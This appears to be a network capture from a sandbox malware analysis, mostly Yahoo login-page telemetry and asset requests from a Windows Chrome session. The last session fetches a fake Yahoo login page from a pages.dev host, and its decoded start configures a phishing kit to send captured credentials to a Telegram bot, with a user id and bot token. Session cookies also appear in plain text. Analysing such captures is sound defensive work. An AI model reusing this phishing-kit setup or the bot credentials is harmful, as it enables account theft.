2024-01-10 23:26:29 UTC	1300	IN	Data Raw: ea bc 42 f2 44 e5 ee 6d fb a1 c7 dd 6c 29 92 8f 28 3d 10 98 46 ab 77 80 67 56 59 d9 d2 10 97 55 a2 5c 76 6d 3b b8 aa 4e 3a d4 a0 7e ae 5a af 33 29 f6 f8 92 16 9f c2 ad b8 46 dc a6 df 36 1d 01 1b 81 44 d2 30 48 ec 02 0d 30 cd 7c 3e 4f e3 00 33 ce c1 d3 32 a8 48 5a 4c 9b 14 d1 5b d5 db 98 1b 80 67 cd fc c2 cb 4a 17 cb 86 8a c7 33 13 3a 7d cb a8 ac e0 fc 85 b8 2b d5 ea 16 36 57 ca bd 61 35 85 c5 24 5b b1 72 ed e4 f8 51 58 78 9e ab fe b4 bc 4a 71 25 5e e9 dd 0e d7 14 17 75 cc a7 8b f8 19 0b 7c 05 80 60 9a ff b0 db 9b 68 e2 db 55 02 ea 75 ee 77 82 60 61 fd 5a 94 d0 ab 57 74 f8 f5 24 3c 6f 85 66 48 2b 79 19 89 fa a9 b9 c4 ad f4 a6 91 58 5f 41 2e 59 01 a0 3b 4b d9 e1 a7 55 0f 98 79 1c 2e 30 31 8f 30 a2 7e ec 56 15 8b 96 95 cd ae 1d 2f e6 1c 95 cd 16 66 f9 c9 d7 Data Ascii: BDml)(=FwgVYU\vm;N:~Z3)F6D0H0\|>O32HZL[gJ3:}+6Wa5$[rQXxJq%^u\|`hUuw`aZWt$<ofH+yX_A.Y;KUy.010~V/f
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: d4 02 3f bd 95 2c 2e a7 32 64 5b c3 c9 b8 65 b3 66 39 f8 c4 27 fd 65 d1 d1 b7 08 5f 27 55 45 9b 53 c1 ec e1 8d 9c 75 d5 a0 e5 fa 28 f5 9c 20 d0 db 3c 21 19 b7 c1 15 8d 86 09 c3 98 44 f5 2b 10 31 b1 9a 44 aa af 90 41 e1 a9 ff 4b 4e 06 a8 80 75 17 ea c0 1b 2f 58 79 f9 e7 70 8f 77 8e fc 24 35 94 cc d4 bc 01 c6 ec c9 11 c2 79 5f 91 6d a9 1a f6 92 cf f3 19 d2 30 42 db 54 a5 26 f3 fe 73 26 57 a4 cb 5c 5f 8a 41 27 ef 21 29 7e 41 44 05 89 0f e0 7d ab 91 38 aa a4 b2 f7 a9 d8 2e c4 df 56 17 e7 df 28 65 a5 84 59 d1 93 ac f3 c7 55 39 7d 75 d8 9d 42 5e 89 06 d3 d9 03 66 6b d2 4f 6d c8 b6 c6 7d 12 6e 1e 37 5a 96 10 8a b5 73 76 d6 12 f6 41 3a 43 13 26 b3 7e fa 06 7b 38 30 84 f8 52 24 ca 3f 03 85 07 f4 c5 98 38 ee a8 c1 78 56 7f fa b7 97 12 27 26 7c fd 61 e2 8a 27 45 27 Data Ascii: ?,.2d[ef9'e_'UESu( <!D+1DAKNu/Xypw$5y_m0BT&s&W\_A'!)~AD}8.V(eYU9}uB^fkOm}n7ZsvA:C&~{80R$?8xV'&\|a'E'
2024-01-10 23:26:30 UTC	1300	IN	Data Raw: e3 d6 d5 cb d0 c8 cb 3f 58 11 8f fe 0c bc f1 3a fd e7 5d 67 09 a9 e8 ce eb f8 fd b6 12 57 a1 89 57 85 b3 e5 69 e8 b1 90 bc d8 2f 5f 87 ef bf bf 3e 01 bd bf 23 20 44 80 cf 96 5d 42 6d 84 91 e3 1e 70 bc 5c 3c 3d 36 0b 80 c1 9b 44 4a 42 49 4b 12 fc 60 a8 cd 80 ab 28 f1 75 ad 1e 0f c0 b7 1a d3 c6 d2 91 3d aa c7 9f e3 df c9 7c 0a 9b d2 e7 5a e7 06 e7 46 e7 26 66 04 4d 39 9b 3f 6b 9f fd 9c 57 cc c7 a2 01 c1 80 a7 f6 82 0d 5e c4 8f 78 28 aa 00 ec 7b 1a 2c fc 84 a1 01 eb 39 8a b2 c9 71 17 8d f9 1c 19 eb cc ca d2 6c ca fe 94 a7 3b a3 79 9c af c5 c0 74 cb bc 9c 6b 06 1c 7b ae fe 29 53 26 90 36 03 87 47 0b 6b 83 14 70 bc 30 ef 95 b2 e6 e2 90 c9 24 a4 4a 74 34 fd 05 47 3f 0e 06 8f 08 18 98 73 96 c8 e4 34 a4 05 91 34 33 77 e0 b0 bc 62 cf 15 18 d3 5b ca 24 16 d2 82 28 Data Ascii: ?X:]gWWi/_># D]Bmp\<=6DJBIK`(u=\|ZF&fM9?kW^x({,9ql;ytk{)S&6Gkp0$Jt4G?s443wb[$(
2024-01-10 23:26:30 UTC	1300	IN	Data Raw: f6 54 5a 32 6e 42 2e 3a 9c 8c 04 e9 2b a3 cb cb 50 80 1e 1f 03 7e c6 c2 a4 a2 5d 2b 50 c9 54 55 3a 03 68 22 b7 49 89 6e 5a 1c 44 3c 24 22 c4 42 28 e5 64 2a c4 4b b2 4e 82 44 c9 56 37 30 6c d3 da be 81 fe 54 04 54 fd 9f 5c d5 df b6 4c 28 12 d3 12 a9 4c 6e c0 28 7e bc 47 bd 1d ec e3 81 2d 07 ba 51 ba 53 7a 50 7a 52 fd 72 40 b7 b2 55 f7 e6 fb 58 dc 83 cf f2 31 fe 57 1c 06 87 84 86 85 47 20 fc a3 41 f2 05 96 fb d7 a7 4b c0 83 37 6f dd 9e 6d 8f bd 0e d8 ef a0 c3 0e 39 e2 98 13 8e 3b e9 94 62 45 4a 94 3a ed 8c 32 67 9d 77 4e 95 4a d5 6a 0c fc 66 f9 8a 95 43 bf db 27 6e f5 b5 df ae 02 0f 55 01 c0 0d 00 80 5b 52 c0 0b 55 48 5b 06 f8 c6 3d b8 35 75 f8 07 e9 1b 77 ab d7 a0 43 a7 5e 7d ba 74 2b 07 de ae d1 95 5e bb 33 18 36 7e df a3 bf f5 b7 1d eb 77 6e db 25 53 96 Data Ascii: TZ2nB.:+P~]+PTU:h"InZD<$"B(d*KNDV70lTT\L(Ln(~G-QSzPzRr@UX1WG AK7om9;bEJ:2gwNJjfC'nU[RUH[=5uwC^}t+^36~wn%S
2024-01-10 23:26:30 UTC	1300	IN	Data Raw: d3 54 b7 8e be e6 0d 85 00 79 1d d0 15 dc 23 58 8f 0b 1c 70 d5 75 84 15 47 40 82 ad 62 b2 c2 bb fa 84 2c 58 b6 88 37 80 17 99 1e 43 ab 12 31 e8 36 d6 3d 5b 2b 7f e8 de 47 de 55 7e e0 02 16 4a 59 82 09 2a f3 81 ca 4c 78 d9 c5 a4 c6 dc 58 6d b7 09 1c 4b 71 54 64 c0 90 85 f4 8f 5b b7 a6 bb b3 b3 9f 1e 7c a3 df a7 42 5f 7f f1 2c 02 8a ee 46 57 44 fc d5 b5 8e 07 b7 af 6e 5e 49 9e 0c 6d 66 69 4e 60 9d 89 25 7f 0b a5 1b d2 a3 e3 a8 33 39 d8 0d c6 3e 93 3e 3f cc 46 3f bd 0a a8 a9 1c 4d af c7 98 15 f8 71 1d aa 06 a0 d0 5e df 42 0f 04 cf 14 55 37 ca 80 85 31 ba d7 87 3a 64 48 96 44 43 39 c5 67 14 d0 0c bf 67 08 10 c2 f0 de 51 a1 67 7e 7d c1 f2 46 86 cc a1 7c d8 5e 71 d8 c8 8e 36 55 91 c1 30 25 ac 52 c8 84 68 b6 cf 6c a4 bc 22 e8 f1 03 98 04 9e 38 40 2f 87 77 48 40 Data Ascii: Ty#XpuG@b,X7C16=[+GU~JY*LxXmKqTd[\|B_,FWDn^ImfiN`%39>>?F?Mq^BU71:dHDC9ggQg~}F\|^q6U0%Rhl"8@/wH@
2024-01-10 23:26:30 UTC	1300	IN	Data Raw: 59 57 87 b6 9e 0c 3a 63 50 75 95 8c c3 97 12 39 92 a1 4b fe 2a d5 65 60 15 a3 9c ea df e8 58 ea 14 19 0d 4a c6 ca ca 6a 74 6c 72 69 d9 f5 a9 6a 7d a3 54 a4 08 76 d6 1d a0 ea f3 60 ae a8 f3 93 cf 41 a7 fb 4e 82 8a c0 22 9a 8a b4 9a 51 b4 cd ba b1 f0 52 f4 3f e9 84 c7 45 9f ed 44 c4 a6 63 70 0a 25 3b 50 6e e1 5f 83 e9 05 54 96 c5 d4 60 8e bb f6 f8 e9 76 c7 9e 00 01 d3 73 e9 99 f9 df c3 0f 75 4a fb 65 fc ba 91 51 1a 89 31 84 98 dd 52 7e c0 8f 33 0a 85 90 95 f8 45 3e 82 2a 03 8d 73 10 69 f5 22 73 98 87 4c 8d c9 62 ec c7 f3 97 2c 5b 2d 15 91 45 14 76 f0 60 80 14 04 2a df 8b 6c 7d df f5 6d 48 d0 c4 06 b5 04 98 4b 34 fc 5e 33 9e 40 d3 c0 98 17 50 c7 fd 81 29 cd de 26 8f 8f 7a 47 f8 1e 59 d5 da e2 a6 54 a7 53 ee e6 f5 ac b9 f7 72 24 66 5a 92 65 71 31 ab 83 30 55 Data Ascii: YW:cPu9Ke`XJjtlrij}Tv`AN"QR?EDcp%;Pn_T`vsuJeQ1R~3E>si"sLb,[-Ev`*l}mHK4^3@P)&zGYTSr$fZeq10U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49770	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:30 UTC	1077	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=794200015&yhlCT=2&yhlBTMS=1704929189084&yhlClientVer=3.53.39&yhlRnd=rhSW6sH5nQ1Waf7b&yhlCompressed=0 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 1629 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://login.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:26:30 UTC	1629	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 4c 77 6e 6e 32 55 43 45 4c 34 6c 45 33 45 4a 43 34 5f 58 73 44 59 46 34 69 74 6e 52 56 38 46 45 67 45 42 41 51 46 35 6f 47 57 70 5a 64 77 77 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 6d 4a 49 39 42 4d 39 44 73 33 48 35 50 45 55 55 79 55 62 36 45 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 33 2e 33 39 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 56 45 52 53 49 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.53.39%22%2C%22A_cn%22%3A%22VERSI
2024-01-10 23:26:30 UTC	593	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://login.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 0 date: Wed, 10 Jan 2024 23:26:30 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49771	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:32 UTC	611	OUT	GET /wm/mbr/images/yahoo-favicon-img-v0.0.2.ico HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:32 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: ZzhRfbmJJSgWlmGqJ7uuM9Gcp+nITQANnIKtu6B2hefDhengoEN/5ngwiZJ9nkd2KPRhHSr6M/cvwsqJ180TXA== x-amz-request-id: Z1DQCXZE0F02CW6H Date: Tue, 09 Jan 2024 16:44:25 GMT Last-Modified: Wed, 11 Sep 2019 18:01:04 GMT ETag: "b6814ae5582d7953821acbd76e977bb4" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/vnd.microsoft.icon Server: ATS Content-Length: 1406 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 110528 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:32 UTC	1300	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 08 00 68 05 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 01 60 00 d3 08 64 00 d3 0b 66 00 d4 0f 69 00 d5 12 6b 00 d5 16 6d 00 d6 1a 70 00 d6 1c 71 00 d7 1f 73 00 d7 20 73 00 d8 24 76 00 d9 2a 7a 00 dd 3f 87 00 de 44 8a 00 df 4d 90 00 e1 56 95 00 e2 5f 9b 00 e3 62 9d 00 e3 63 9d 00 e5 6c a3 00 e6 76 a9 00 e7 79 ab 00 e7 7c ad 00 eb 92 bb 00 ed 9c c1 00 f0 ac cb 00 f1 b2 ce 00 f1 b4 d0 00 f2 b6 d1 00 f2 b8 d2 00 f3 bf d7 00 f4 c5 da 00 f6 d0 e1 00 f7 d2 e2 00 f7 d3 e3 00 f9 de ea 00 f9 e1 ec 00 fa e8 f0 00 fb ea f1 00 fc ee f4 00 fd f6 f9 00 fd f9 fb 00 fe fa fb 00 fe fb fc 00 fe fc fd 00 fe fd fd 00 fe fe fe 00 ff ff ff 00 00 Data Ascii: h( `dfikmpqs s$v*z?DMV_bclvy\|
2024-01-10 23:26:32 UTC	106	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49775	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:41 UTC	707	OUT	GET /login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "a8939e5a085463ed0b92e943f45878d6"
2024-01-10 23:26:42 UTC	580	IN	HTTP/1.1 304 Not Modified Date: Wed, 10 Jan 2024 23:26:42 GMT Connection: close Access-Control-Allow-Origin: * referrer-policy: strict-origin-when-cross-origin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qhZftZUKn3IQ1OT02Smj513YhakTGVP2pCs6rOMJfs3tbw4GTagU%2BMkRgFY4EVLYmYQ4eeMUjyrew2p9TLpzxTFtS%2F54UcZvN5%2FXWGkkRCwp%2BwNSnmKfWu1dDuspVcQZKKpOVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438afb93ce97f86-IAD alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49776	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:42 UTC	1803	OUT	POST /p?s=794200015&t=7kJrbFQleP8H1xFC,0.4288038158907441&_I=&_AO=0&_NOL=0&_R=&_P=3.53.39%05_a1s%03d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%04_pl%031%04A_v%033.53.39%04A_cn%03VERSIONED-PROD%04_bt%03rapid%04done%03https%3A%2F%2Fmail.yahoo.com%2F%04authMechanism%03secondary%04sessionIndex%03QQ--%04A_pr%03https%04A_tzoff%031%04A_sid%03CeecDn47IOM8lgfX%04_w%03login.yahoo.com%2Faccount%2Fchallenge%2Fusername%04pt%03utility%04ver%03nodejs%04pg_name%03usernameChallenge%04gm_np%03yahoo%04p_sec%03DEFAULT_SECTION%04p_subsec%03DEFAULT_SUBSECTION%04test%03mbr-apt-trap-design-v2%2Cmbr-smart2sv-ph2-b%2C%04pct%03signin%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031704929189%04A_prems%03082%04_E%03dwell%04_ts%031704929201%04_ms%03293%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://login.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:26:42 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:26:42 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:26:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49774	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:42 UTC	695	OUT	GET /login_files/login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://see-eim.pages.dev/login_files/loga Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=18462-18462 If-Range: "a8939e5a085463ed0b92e943f45878d6"
2024-01-10 23:26:42 UTC	706	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:26:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 87601 Connection: close Access-Control-Allow-Origin: * ETag: "a8939e5a085463ed0b92e943f45878d6" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2LeHThS%2F2LokTCHYUlYCSMM7LaqyDF0l7UWsQ7K1BwP4waQMkbj%2B6CPNkc2h1AlnoGG9fg7jkQQJUOE09URq5pOTDzzKMbqAomzoeoEc9D32eUAiNs%2Bf4CbVNVm5TLBIrpcWsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438afbbbcbd8015-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 2f 2f 50 55 54 20 59 4f 55 52 20 54 45 4c 45 47 52 41 4d 20 49 4e 46 4f 52 4d 41 54 49 4f 4e 20 48 45 52 45 0d 0a 20 20 20 20 75 73 65 72 74 65 6c 65 67 72 61 6d 3d 22 35 36 30 37 33 38 35 34 39 36 22 3b 20 2f 2f 59 6f 75 20 43 61 6e 20 47 65 74 20 79 6f 75 72 20 69 64 20 46 52 4f 4d 20 48 45 52 45 20 3a 20 40 63 68 61 74 69 64 5f 65 63 68 6f 5f 62 6f 74 0d 0a 20 20 20 20 74 6f 6b 65 6e 3d 22 36 30 35 35 36 38 39 35 31 35 3a 41 41 48 72 51 66 54 4f 45 6b 37 65 61 43 59 37 31 57 79 72 79 63 31 7a 63 56 68 6f 79 34 39 55 62 57 30 22 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 68 74 6d Data Ascii: <!DOCTYPE html><script type="text/javascript"> //PUT YOUR TELEGRAM INFORMATION HERE usertelegram="5607385496"; //You Can Get your id FROM HERE : @chatid_echo_bot token="6055689515:AAHrQfTOEk7eaCY71Wyryc1zcVhoy49UbW0"; </script><htm
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 72 74 69 63 6c 65 2c 0d 0a 20 20 20 20 20 20 20 20 61 73 69 64 65 2c 0d 0a 20 20 20 20 20 20 20 20 64 65 74 61 69 6c 73 2c 0d 0a 20 20 20 20 20 20 20 20 66 69 67 63 61 70 74 69 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 66 69 67 75 72 65 2c 0d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 68 65 61 64 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 68 67 72 6f 75 70 2c 0d 0a 20 20 20 20 20 20 20 20 6d 61 69 6e 2c 0d 0a 20 20 20 20 20 20 20 20 6d 65 6e 75 2c 0d 0a 20 20 20 20 20 20 20 20 6e 61 76 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 0d 0a 20 Data Ascii: body { margin: 0 } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section,
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 73 75 62 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 2e 32 35 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 66 69 67 75 72 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 34 30 70 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 Data Ascii: } sub { bottom: -.25em } svg:not(:root) { overflow: hidden } figure { margin: 1em 40px } hr { box-sizing: content-box; he
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 6e 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 3a 3a 2d 77 65 62 6b 69 74 2d 6f 75 74 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 61 75 74 6f 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 65 61 72 63 68 2d 63 61 6e 63 65 6c 2d 62 75 Data Ascii: ing: border-box; padding: 0 } input[type=number]::-webkit-inner-spin-button, input[type=number]::-webkit-outer-spin-button { height: auto } input[type=search]::-webkit-search-cancel-bu
